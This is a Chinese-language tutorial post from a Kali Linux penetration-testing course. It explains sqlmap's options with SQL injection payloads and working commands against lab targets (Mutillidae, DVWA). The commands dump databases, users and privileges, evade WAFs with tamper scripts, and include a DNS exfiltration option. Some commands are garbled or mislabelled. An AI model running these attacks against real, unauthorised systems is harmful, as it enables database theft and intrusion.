失眠网,内容丰富有趣,生活中的好帮手!
失眠网 > Kali Linux渗透测试 093 自动注入-Sqlmap

Kali Linux渗透测试 093 自动注入-Sqlmap

时间:2019-04-14 07:01:48

相关推荐

Kali Linux渗透测试 093 自动注入-Sqlmap

本文记录 Kali Linux .1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程

Kali Linux渗透测试(苑房弘)博客记录

1. Sqlmap 简介1-1. 五种漏洞检测技术1-2. 其他特性1-3. 安装与升级1-4. 查看帮助1-5. Sqlmap 自动化注入命令简介2. Target 目标2-1. Target2-2. GET 方法2-3. 使用 url 列表进行扫描2-4. 扫描 google 搜索结果需要翻墙2-5. POST 方法 提交表单时数据内容不会出现在 url 地址中2-6. 支持 HTTPS2-7. 配置文件3. Requests 请求3-1. 数据段data3-2. 变量分隔符param-del3-3. cookie 头 cookie3-4. user-agent3-5. Host头host3-6. Referer头 referer3-7. 额外的headers headers3-8. method GETPOST3-9. 基于HTTP协议的身份验证3-10. auth-cert auth-file3-11. https 代理3-12. delay3-13. timeout3-14. retries3-15. randomize3-16. scope3-17. safe-url safe-freq3-18. skip-urlencode3-19. eval3-20. level 24. Optization 优化4-1. predict-output4-2. keep-alive4-3. null-connection4-4. threads4-5. -o 开启前三个性能参数除threads参数4-6. 从本地调用结果5. Injection5-1. -P 指定扫描的参数使 level 默认值 1 失效5-2. skip5-3. URI注入点5-4. 指定数据库类型只用针对某种数据库的方法来进行扫描也可以指定版本5-5. os5-6. invalid-bignum invalid-logical invalid-string5-7. no-cast5-8. no-escape5-9. prefix suffix5-10. tamper6. Detection 检查6-1. level6-2. risk6-3. stringnot-stringregexpcodetext-onlytitles7. Techniques 技术7-1. technique默认使用全部术技7-2. time-sec7-3. union-cols7-4. union-char7-5. dns-domain7-6. second-order8. Fingerprint 指纹信息8-1. -ffingerprint8-2. -bbanner9. Enumeration 枚举9-1. hostname9-2. users9-3. privileges -U 用户名 CU 当前账号9-4. roles9-5. dbs -D9-6. count9-7. schema batch exclude-sysdbs 使用默认选项9-8. dump-C-T-D-startstop9-9. dump-all exclude-sysdbs9-10. sql-query select from users10. Brute force 暴力破解10-1. common-tables10-2. common-columns Access 系统表无列信息11. User-defined function injection 用户定义功能注入11-1. udf-inject shared-lib12. File system access 文件系统访问12-1. file-readetcpasswd12-2. file-writeshellphp file-dest tmpshellphp13. Operating system access 操作系统访问13-1. os-cmd13-2. sql-shell13-3. os-shell14. Windows registry access Windows 注册表访问15. General 一般操作15-1. -s 指定sqlite会话文是件保存位置15-2. -t 指定记录流量文件保存位置15-3. charset 盲注字符集15-4. crawl 从起始位置爬站深度15-5. csv-del 指定其他分隔符 dump数据默认存于分割的CSV文件中15-6. encoding指定字符编码15-7. flush-session 清空会话 清空本地查询的保存结果15-8. force-ssl指定使用 ssl 加密15-9. fresh-queries 忽略 session 文件内的查询结 果15-10. hex dump非ASCI字符内容时将其编码为16进制形式收到后解码还原15-11. output-dir指定输出目录默认optput15-12. parse-errors 分析和现实数据库内建报错信息15-13. save 将命令保存成配置文件16. Miscellaneous 杂项16-1. -Z 参数助记符16-2. answer16-3. identify-waf16-4. skip-waf16-5. hpp HTTP parameter pollution16-6. offline16-7. mobile16-8. dependencies16-9. smart16-10. web-root16-11. wizard16-12. purge-output

1. Sqlmap 简介

1. 五种漏洞检测技术.

基于布尔的盲注检测

’ and 1=1基于时间的盲注检测

’ and (select * from (select(sleep(20)))a)–+基于错误的检测基于UNION联合查询的检测

适用于通过循环直接输出联合查询结果,否则只显示第一项结果基于堆叠查询的检测

;堆叠多个查询语句适用于非select的数据修改、删除的操作

2. 其他特性

数据库直接连接-d

不通过SQL注入,制定身份认证信息、P、端口与burpsuite、google结合使用,支持正则表达式限定测试目标Get、post、cookie、Referer、UserAgent (随机或指定)

Cookie过期后自动处理Set-Cookie头,更新cookie信息限速: 最大并发、延迟发送支持Basic,Digest,NTLM,CA身份认证数据库版本、用户、权限、hash枚举和字典破解、暴力破解表列名称文件上传下载、UDF、启动并执行存储过程、操作系统命令执行、访问windows注册表与w3af、metasploit集成结合使用,基于数据库服务进程提权和上传执行后门支持的数据库管理系统DBMS

MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,IBM DB2,SQLite,Firebird,Sybase,SAP MaxDB

3. 安装与升级

基于python2.7 开发kali2.0 安装

apt-get install git

git clone /sqlmapproject/sqlmap.git sqlmap-devkali2.0 升级

sqlmap -update 在线

git pull 离线

Kali集成版随kali库更新kali linux .1 升级

root@attacker:~# apt-get install sqlmap

4. 查看帮助

root@attacker:~# sqlmap --version1.2.3#stableroot@attacker:~# sqlmap -hroot@kali:~# sqlmap -hhOptions:TargetRequestOptimizationInjectionDetectionTechniquesFingerprintEnumerationBrute forceUser-defined function injectionFile system accessOperating system accessWindows registry accessGeneralMiscellaneous

5. Sqlmap 自动化注入命令简介

查看帮助:sqlmap -h / -hh查看版本:sqlmap --version / -v常用参数:sqlmap -d "mysql://user:password@192.168.20.10:3306/dvwa" -f --users--banner --dbs --schema -a日志:.sqlmap输出:输出内容详细度分7个等级

2. Target 目标

1. Target:

At least one of these options has to be provided to define thetarget(s)-d DIRECT Connection string for direct database connection-u URL, --url=URL Target URL (e.g. "/vuln.php?id=1")-l LOGFILEParse target(s) from Burp or WebScarab proxy log file-x SITEMAPURL Parse target(s) from remote sitemap(.xml) file-m BULKFILE Scan multiple targets given in a textual file-r REQUESTFILELoad HTTP request from a file-g GOOGLEDORK Process Google dork results as target URLs-c CONFIGFILE Load options from a configuration INI file

2. GET 方法

由于 dvwa 需要登录账密,所以打开 Metasploitabe2-Linux,网址 http://10.10.10.132/mutillidae/

查看 OWASP Top 10 的第一个的 sql 注入漏洞页面,随便输入账号和密码获取链接

http://10.10.10.132/mutillidae/index.php?page=user-info.php

# 变成http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details

使用 sqlmap 扫描这个链接

# -p 指定想要检查的变量# -f 指定查询系统指纹信息root@attacker:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username

查询结果被放在 /root/.sqlmap/output/10.10.10.132

针对用户列表查询

root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --users

针对版本信息查询(MySQL版本):

root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --banner

针对数据库信息查询(查询有哪些库):

root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --dbs

针对元数据进行查询:

root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username --schema

查询所有的信息:

root@attacker:~# sqlmap -u "http://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Details" -p username -a

直接连接数据库进行查询示例:

# sqlmap -d "mysql://user:password@192.168.20.10:3306/dvwa" -f --usersroot@kali:~# sqlmap -d "mysql://root:@10.10.10.132:3306/dvwa" -f --usersroot@kali:~# sqlmap -d "mysql://root:@10.10.10.132:3306/dvwa" -f --users --banner --dbs --schema root@kali:~# sqlmap -d "mysql://root:@10.10.10.132:3306/dvwa" -f -a

3. 使用 url 列表进行扫描

root@attacker:~# vim list.txthttp://10.10.10.254/mutillidae/index.php?page=user-info.php&username=admin&password=password&user-info-php-submit-button=View+Account+Detailsroot@attacker:~# sqlmap -m list.txtroot@attacker:~# sqlmap -m list.txt --dbs

4. 扫描 google 搜索结果(需要翻墙)

sqlmap -g "inurl:\".php?id=1\""

5. POST 方法 (提交表单时,数据内容不会出现在 url 地址中)

# 提交表单时,当请求的用户名和密码提交之后未出现在 URL 中是,可以判定是 POST 方法

使用http请求文件(burpsuite)

# 打开 http://10.10.10.132/mutillidae/ 找到 sql 注入的第二个页面 http://10.10.10.254/mutillidae/index.php?page=login.php# 提交表单时,数据内容不会出现在 url 地址中,判定为 post 方法

使用 burpsuite 的 proxy

burpsuite 捕获数据包头,复制并保存至 /root/post.txt

读取请求文件,查询数据库信息

root@attacker:~# sqlmap -r post.txt –dbs

使用burpsuite log文件

# 打开 burpsuite 的 Project options 选项卡的 Misc ,勾选 Logging 的 Proxy 的 Requests ,选择日志保存路径,关闭截断代理,浏览器登录表单

# 浏览器重新提交请求

# 查看日志内容

# 使用 sqlmap 进行扫描root@attacker:~# sqlmap -l log.txt root@attacker:~# sqlmap -l log.txt -p username# 结果显示有的 URL 含有注入漏洞

6. 支持 HTTPS

sqlmap -u "https://1.1.1.1/a.php?id=1:8843" --force-ssl

7. 配置文件

# 默认配置文件放置位置root@kali:~# dpkg -L sqlmap | grep sqlmap.conf /etc/sqlmap/sqlmap.conf/usr/share/doc/sqlmap/examples/sqlmap.conf.gz# 扫描时指定配置文件sqlmap -c sqlmap.conf

3. Requests 请求

Request:These options can be used to specify how to connect to the target URL--method=METHODForce usage of given HTTP method (e.g. PUT)--data=DATA Data string to be sent through POST--param-del=PARA.. Character used for splitting parameter values--cookie=COOKIEHTTP Cookie header value--cookie-del=COO.. Character used for splitting cookie values--load-cookies=L.. File containing cookies in Netscape/wget format--drop-set-cookie Ignore Set-Cookie header from response--user-agent=AGENT HTTP User-Agent header value--random-agentUse randomly selected HTTP User-Agent header value--host=HOST HTTP Host header value--referer=REFERER HTTP Referer header value-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")--auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI)--auth-cred=AUTH.. HTTP authentication credentials (name:password)--auth-file=AUTH.. HTTP authentication PEM cert/private key file--ignore-code=IG.. Ignore HTTP error code (e.g. 401)--ignore-proxyIgnore system default proxy settings--ignore-redirects Ignore redirection attempts--ignore-timeouts Ignore connection timeouts--proxy=PROXY Use a proxy to connect to the target URL--proxy-cred=PRO.. Proxy authentication credentials (name:password)--proxy-file=PRO.. Load proxy list from a file--torUse Tor anonymity network--tor-port=TORPORT Set Tor proxy port other than default--tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))--check-tor Check to see if Tor is used properly--delay=DELAY Delay in seconds between each HTTP request--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)--retries=RETRIES Retries when the connection timeouts (default 3)--randomize=RPARAM Randomly change value for given parameter(s)--safe-url=SAFEURL URL address to visit frequently during testing--safe-post=SAFE.. POST data to send to a safe URL--safe-req=SAFER.. Load safe HTTP request from a file--safe-freq=SAFE.. Test requests between two visits to a given safe URL--skip-urlencode Skip URL encoding of payload data--csrf-token=CSR.. Parameter used to hold anti-CSRF token--csrf-url=CSRFURL URL address to visit to extract anti-CSRF token--force-ssl Force usage of SSL/HTTPS--hppUse HTTP parameter pollution method--eval=EVALCODEEvaluate provided Python code before the request (e.g."import hashlib;id2=hashlib.md5(id).hexdigest()")

1. 数据段:–data

get / post 都适用

sqlmap -u “http:// 1.1.1.1/a.php” –data=”user= 1&pass=2” -f

POET

# 在 Firebug 里提取数据段,这样 SQLMAP 会自动检测数据段每个变量是否存在注入漏洞

root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=login.php" --data="username=1&password=1&login-php-submit-button=Login" --dbs

GET

# 将一个完整的URL拆开root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php" --data="page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --users

2. 变量分隔符:–param-del

# 将变量用分隔符进行分隔,先检查第一个,再检查第二个....http:// 1.1.1.1/a.php?q=foo;id=1 // ; &sqlmap -u "http://1.1.1.1/a.php " --data="q=foo;id=1" --param-del=";" -f

3. cookie 头: –cookie

# web应用需要基于cookie的身份认证# sqlmap 会自动检查cookie中的注入点(level>=2)# Set-Cookie / --drop-set-cookie / --cookie-del #不更新cookie,继续使用原本的cookiesqlmap -u"http://1.1.1.1/a.php?id=1" -cookie="a= 1;b=2"-f

cookie可以在 Firebug 中查找,使用 DVWA

http://10.10.10.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

root@kali:~# sqlmap -u "http://10.10.10.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --dbs

# 使检查 cookie 中的注入点(level>=2)root@kali:~# sqlmap -u "http://10.10.10.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --level 2 --dbs

4. –user-agent

默认 user-agent

# 默认使用的 user-agent 是: sqlmap/ 1.0-dev-xxxxxx ()root@kali:~# sqlmap -u "http://10.10.10.132/dvwa/" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --dbs

–random-agent

# 想要使用随机 user-agnet (列表中随机抽取),可以使用 --random-agent字典文件在:/usr/share/sqlmap/txt/user-agents.txt

root@kali:~# sqlmap -u "http://10.10.10.132/dvwa/" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --random-agent --dbs

–user-agent=AAAAAAAAAAAAAAA

root@kali:~# sqlmap -u "http://10.10.10.132/dvwa/" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --user-agent=AAAAAAAAAAAAAAA --dbs

使 sqlmap 检查 user-agent 中的注入点:level >= 3

root@kali:~# sqlmap -u "http://10.10.10.132/dvwa/" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --user-agent=AAAAAAAAAAAAAAA --level 3 --dbs

APP/WAF/IPS/IDS 过滤异常user-agent时报错

[hh:mm:20] [ERROR] the target URL responded with an unknown HTTP status code,try to force the HTTP User-Agent header with option --USer agent or --random-agent

5. Host头:–host

指定 host 头

root@kali:~# sqlmap -u "http://10.10.10.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --host="aaaaaaaaaa" --dbs

使 sqlmap 检查 Host 是否存在注入点,level = 5

root@kali:~# sqlmap -u “http://10.10.10.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36” –host=”aaaaaaaaaa” –level 5 –users

6. Referer头: –referer

指定 Referer头

root@kali:~# sqlmap -u "http://10.10.10.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --referer="aaaaaaaaaa" --users

使 sqlmap 检查 Referer头 是否存在注入点,level >= 3

root@kali:~# sqlmap -u "http://10.10.10.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --referer="aaaaaaaaaa" --level 3 --users

7. 额外的headers: –headers

#每个头单独一行(名称区分大小写)sqlmap -u “http://1.1.1.1/a.php?id=1” --headers="host:\nUser-Agent:yuanfh"

指定额外的 headers

root@kali:~# sqlmap -u "http://10.10.10.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --headers="Host:\nUser-Agent:AAAAAAAAAA" -f

8. –method =GET/POST

sqlmap 默认先尝试 GET 方法。一旦 GET 方法不行,再使用 POST 方法

可以指定请求方法

root@kali:~# sqlmap -u "http://10.10.10.132/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=f258647d71bed83d9aa022b4e9fc3a36" --headers="Host:\nUser-Agent:AAAAAAAAAA" --method=GET -f

9. 基于HTTP协议的身份验证

--auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI)--auth-cred=AUTH.. HTTP authentication credentials (name:password)sqlmap -u "http://1.1.1.1/a.php?id=1" --auth-type=Basic --auth-cred="user:pass"

10. –auth-cert / –auth-file

--auth-file=AUTH.. HTTP authentication PEM cert/private key filesqlmap -u "http://1.1.1.1/a.php?id=1" --auth-file="ca.PEM"# 含有私钥的PEM格式证书文件# PEM格式的证书链文件

11. http(s) 代理

sqlmap -u "http://1.1.1.1/a.php?id=1"--proxy="http://127.0.0.1:8087" -f# --proxy--proxy=PROXY Use a proxy to connect to the target URL--proxy-cred=PRO.. Proxy authentication credentials (name:password)--proxy-file=PRO.. Load proxy list from a file# 使用方法--proxy="http://127.0.0.1:8087"--proxy-cred="name:pass"--ignore-proxy #忽略系统级代理设置,通常用于扫描本地网络目标# 操作系统本身有代理,需要扫描本地站点时(此时不需要代理联网),就要忽略代理--ignore-proxyIgnore system default proxy settings

12. –delay

# 每次http(s)请求之间延迟时间,浮点数,单位为秒,默认无延迟--delay=DELAY Delay in seconds between each HTTP request

13. –timeout

# 请求超时时间,浮点数,默认为30秒--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)

14. –retries

# http(s)连接超时重试次数,默认3次--retries=RETRIES Retries when the connection timeouts (default 3)

15. –randomize

# 长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名--randomize=RPARAM Randomly change value for given parameter(s)sqlmap -u "http://1.1.1.1/a.php?id=111" --randomize="id"# 让 id 在保持三位数的前提下,随机取之

16. –scope

# 过滤日志内容,通过正则表达式筛选扫描对象sqlmap -l burp.log --scope-"(www)\.target\.(com|net|org)"sqlmap -l 2.log --scope="(19)?\.168\.20\.(1|10|100)" --level 3 --dbs# 可发现 User-agent 中的注入点(需要 level>=3)# log.txt 是浏览器使用 BurpSuite 的代理日志(在BurtSuite设置)

root@kali:~# sqlmap -l log.txt --scope="(10)\.10\.10\.(13)?" --level 3 --dbs# level >=2 的时候,就会检查 cookie ,所以此时检查了cookie

17. –safe-url /–safe-freq

# 检测和盲注阶段会产生大量失败请求,服务器端可能因此销毁session# 每发送-safe-freq次注入请求后,发送一次正常请求--safe-post=SAFE.. POST data to send to a safe URL--safe-req=SAFER.. Load safe HTTP request from a file--safe-freq=SAFE.. Test requests between two visits to a given safe URL

18. –skip-urlencode

# 默认Get方法会对传输内容进行编码,某些WEB服务器不遵守RFC标准编码,使用原始字符提交数据--skip-urlencode Skip URL encoding of payload data

19. –eval

# 每次请求前执行指定的python代码# 每次请求更改或增加新的参数值(时间依赖、其他参数值依赖) http://1.1.1.1/a.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b# 在测试 id 值的注入漏洞时,服务器端需要验证是否匹配后面的 hash 值,此时就可以使用这个 --evalsqlmap -u "http://1.1.1.1/a.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="importhashlib;hash=hashlib.md5(id).hexdigest()"root@kali:~# echo "123456@" | md5sum | cut -d ' ' -f16ab4eb10e3e68ff45f92de98bbdfee4b# 在测试时,后面的变量值是变化的或者是基于前面的变量值的时候,都可以使用这个参数--eval=EVALCODE Evaluate provided Python code before the request (e.g."import hashlib;id2=hashlib.md5(id).hexdigest()")

20. –level 2

扫描级别,共5级,越高扫描越详细

4. Optization 优化

Optimization:These options can be used to optimize the performance of sqlmap-o Turn on all optimization switches--predict-output Predict common queries output--keep-alive Use persistent HTTP(s) connections--null-connection Retrieve page length without actual HTTP response body--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)

1. –predict-output

根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率对比:版本名、用户名、密码、Privileges、role、数据库名称、表名、列名与 –threads 参数不兼容统计表默认位置: /usr/share/sqlmap/txt/common-outputs.txt

2. –keep-alive

使用 http(s) 长连接,性能好与 –proxy 参数不兼容长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源(节省网络开销,但是会占用服务器资源,防止重复建立连接时被服务器端检测发现)

3. –null-connection

只获取相应页面的大小值,而非页面具体内容通常用于盲注判断真/假,降低网络带宽消耗与 –text-only 参数不兼容(基于页面内容的比较判断真/假)

4. –threads

最大并发线程,默认是 1盲注时每个线程获取一个字符(7次请求),获取完成后线程结束每个连接的线程里都访问7次请求,7次请求(7位二进制位)就可以确定一个十进制值,每个线程只获取一个十进制数默认值为1,建议不要超过1O,否则可能影响站点可用性(被服务器端检测到)与 –predict-output 参数不兼容

5. -o 开启前三个性能参数(除–threads参数)

6. 从本地调用结果

- sqlmap 在第一次向服务器执行查询请请求后,会将结果保存至本地,之后执行同样的查询请求时,会直接从本地文件调用并返回结果- 位置:/root/.sqlmap/output/

5. Injection

Injection:These options can be used to specify which parameters to test for,provide custom injection payloads and optional tampering scripts-p TESTPARAMETER Testable parameter(s)--skip=SKIP Skip testing for given parameter(s)--skip-static Skip testing parameters that not appear to be dynamic--param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")--dbms=DBMS Force back-end DBMS to this value--dbms-cred=DBMS.. DBMS authentication credentials (user:password)--os=OS Force back-end DBMS operating system to this value--invalid-bignum Use big numbers for invalidating values--invalid-logical Use logical operations for invalidating values--invalid-string Use random strings for invalidating values--no-cast Turn off payload casting mechanism--no-escape Turn off string escaping mechanism--prefix=PREFIXInjection payload prefix string--suffix=SUFFIXInjection payload suffix string--tamper=TAMPERUse given script(s) for tampering injection data

1. -P 指定扫描的参数,使 –level 默认值 1 失效

# -p "user-agent,referer"# 使用 10.10.10.132 的 multillidae 的sql注入第一个(GET方法),提交表单 http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Detailsroot@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --dbs

2. –skip

--skip=SKIP Skip testing for given parameter(s)--skip-static Skip testing parameters that not appear to be dynamic--param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")# 排除指定的扫描参数--level=5 --skip="id,user-agent"

3. URI注入点

# 有形如目录的连接,sqlmap是无法自动识别的,可以手动在变量值后面加上一个*号# URL 和 URN 都属于 URIsqlmap -u "http://targeturl/param1/value1*/param2/value2*/"

4. 指定数据库类型,只用针对某种数据库的方法来进行扫描,也可以指定版本

--dbms=DBMS Force back-end DBMS to this value--dbms-cred=DBMS.. DBMS authentication credentials (user:password)# 使用--dbms=“mysql”MySQL <5.0>Oracle <11i>Microsoft SQL Server <>PostgreSQLMicrosoft AccessSQLiteFirebirdsybasesAP MaxDBDB2root@attacker:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" --dbms="mysql"

5. –os

--os=OS Force back-end DBMS operating system to this valueLinuxWindows

6. –invalid-bignum / –invalid-logical / –invalid-string

--invalid-bignum Use big numbers for invalidating values--invalid-logical Use logical operations for invalidating values--invalid-string Use random strings for invalidating values# 通常 sqlmap 使用负值使参数取值失效。 id=13,使其失效: id=-13--invalid-bignum 使用大数使参数值失效。id=13,使其失效:id= 999999999--invalid-logical 使用布尔判断取值使其失效id=13。id=13,使其失效:AND 18=19--invalid-string 使用随机字符串使其失效。

7. –no-cast

--no-cast Turn off payload casting mechanism# 榨取数据时,sqlmap 将所有结果转换为字符串,并用空格替换 NULL 结果# 老版本 mysql 数据库需要开启此开关

8. –no-escape

# 出于混淆和避免出错的目的,在 payload 中用单引号界定字符串时,sqlmap 默认使用 char() 编码逃逸的方法替换字符串,躲避检查SELECT 'foo' -> SELECT CHAR(102)+CHAR(111)+CHAR(111)# 本参数将关闭此功能

9. –prefix / –suffix

--prefix=PREFIXInjection payload prefix string--suffix=SUFFIXInjection payload suffix string# 有些情况下,需要添加 pyload 前缀和 pyload 后缀,才能注入成功

$query = “SELECT * FROM users WHERE id=() LIMIT O,1”;

有些情况,在注入 “.$_GET[id’].” 时,把前面的单引号闭合之后,同时把后面的注释之后,会出错,此时就需要添加前缀和后缀以保证后面部分的sql语句也能用

基于上述的举例,将<’”.$_GET[‘id’].”’>进行替换:sqlmap -u “http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1” -p id –prefix=”)” –suffix=”AND (‘abc’=’abc”

拼合结果:$query = “SELECT * FROM users WHERE id=(‘1’) AND (‘abc’=’abc’) LIMIT O,1”;

10. –tamper

--tamper=TAMPERUse given script(s) for tampering injection data

混淆脚本,用于绕过应用层过滤、IPS、WAFsqlmap -u “http://1.1.1.1/a.php?id=l” –tamper=”between.py,randomcase.py,space2comment.py” -v 3

绕过 WAF 的脚本:

root@attacker:~# dpkg -L sqlmap | grep tamper

# 针对不同的服务器,使用的脚本不一样

root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="between.py,randomcase.py,space2comment.py" -v 3 --users

6.Detection 检查

Detection:These options can be used to customize the detection phase--level=LEVEL Level of tests to perform (1-5, default 1)--risk=RISK Risk of tests to perform (1-3, default 1)--string=STRINGString to match when query is evaluated to True--not-string=NOT.. String to match when query is evaluated to False--regexp=REGEXPRegexp to match when query is evaluated to True--code=CODE HTTP code to match when query is evaluated to True--text-only Compare pages based only on the textual content--titles Compare pages based only on their titles

1. –level

1-5级 (默认1)

payloads 文件:/usr/share/sqlmap/xml/payloads/

root@attacker:~# cd /usr/share/sqlmap/xml/payloads/root@attacker:/usr/share/sqlmap/xml/payloads# lsboolean_blind.xml error_based.xml inline_query.xml stacked_queries.xml time_blind.xml union_query.xml

2. –risk

--risk=RISK Risk of tests to perform (1-3, default 1)

1-3(默认1/无害,值越高风险越大)Risk升高可造成数据被篡改等风险(update)

3. –string,–not-string,–regexp,–code,–text-only,–titles

页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑但有些页面随时间阈值变化,此时需要人为指定标识真假的字符串

7.Techniques 技术

Techniques:These options can be used to tweak testing of specific SQL injectiontechniques--technique=TECH SQL injection techniques to use (default "BEUSTQ")--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)--union-cols=UCOLS Range of columns to test for UNION query SQL injection--union-char=UCHAR Character to use for bruteforcing number of columns--union-from=UFROM Table to use in FROM part of UNION query SQL injection--dns-domain=DNS.. Domain name used for DNS exfiltration attack--second-order=S.. Resulting page URL searched for second-order response

1. –technique:默认使用全部术技

--technique=TECH SQL injection techniques to use (default "BEUSTQ")B: Boolean-based blindE: Error-basedU: Union query-baseds: Stacked queries (检查文件系统、操作系统、注册表必须使用的)T: Time-based blind

2. –time-sec

基于时间的注入检测相应延迟时间(默认5秒)

3. –union-cols

默认联合查询1-10列,随 –level 增加最多支持50列例如:–union-cols 6-9

4. –union-char

联合查询默认使用 NULL, 极端情况下 NULL 可能失败,此时可以手动指定数值例如:–union-char 123

5. –dns-domain

攻击者控制了某DNS服务器,使用此功能可以提高数据榨取的速度例如:–dns-domain

6. –second-order

在一个页面注入的结果,从另一个页面体现出来例如:–second-order http:// 1.1.1.1/b.php

8.Fingerprint 指纹信息

Fingerprint:-f, --fingerprint Perform an extensive DBMS version fingerprint

1. -f,–fingerprint

指纹信息

2. -b,–banner

数据库管理系统指纹信息DBMS,操作系统,架构,补丁

9. Enumeration 枚举

Enumeration:These options can be used to enumerate the back-end databasemanagement system information, structure and data contained in thetables. Moreover you can run your own SQL statements-a, --all Retrieve everything-b, --banner Retrieve DBMS banner--current-userRetrieve DBMS current user--current-db Retrieve DBMS current database--hostnameRetrieve DBMS server hostname--is-dba Detect if the DBMS current user is DBA--users Enumerate DBMS users--passwords Enumerate DBMS users password hashes--privileges Enumerate DBMS users privileges--roles Enumerate DBMS users roles--dbsEnumerate DBMS databases--tables Enumerate DBMS database tables--columns Enumerate DBMS database table columns--schema Enumerate DBMS schema--count Retrieve number of entries for table(s)--dump Dump DBMS database table entries--dump-allDump all DBMS databases tables entries--search Search column(s), table(s) and/or database name(s)--commentsRetrieve DBMS comments-D DBDBMS database to enumerate-T TBL DBMS database table(s) to enumerate-C COL DBMS database table column(s) to enumerate-X EXCLUDEDBMS database identifier(s) to not enumerate-U USER DBMS user to enumerate--exclude-sysdbs Exclude DBMS system databases when enumerating tables--pivot-column=P.. Pivot column name--where=DUMPWHERE Use WHERE condition while table dumping--start=LIMITSTART First dump table entry to retrieve--stop=LIMITSTOP Last dump table entry to retrieve--first=FIRSTCHAR First query output word character to retrieve--last=LASTCHARLast query output word character to retrieve--sql-query=QUERY SQL statement to be executed--sql-shell Prompt for an interactive SQL shell--sql-file=SQLFILE Execute SQL statements from given file(s)

–current-user / –current-db

–current-user Retrieve DBMS current user

–current-db Retrieve DBMS current database

–current-user

# 当前数据库管理系统的账号root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --current-user

–current-db

# 当前数据库名称root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --current-db

2. –hostname

# 查主机名root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --hostname

3. –users

#查所有的用户账户root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --hostname

4. –privileges -U 用户名 (CU 当前账号)

--privileges Enumerate DBMS users privileges# #查 guest 用户root@kali:~# sqlmap -u "http://10.10.10.132/mutillidae/index.php?page=user-info.php&username=a&password=a&user-info-php-submit-button=View+Account+Details" --privileges -U guest

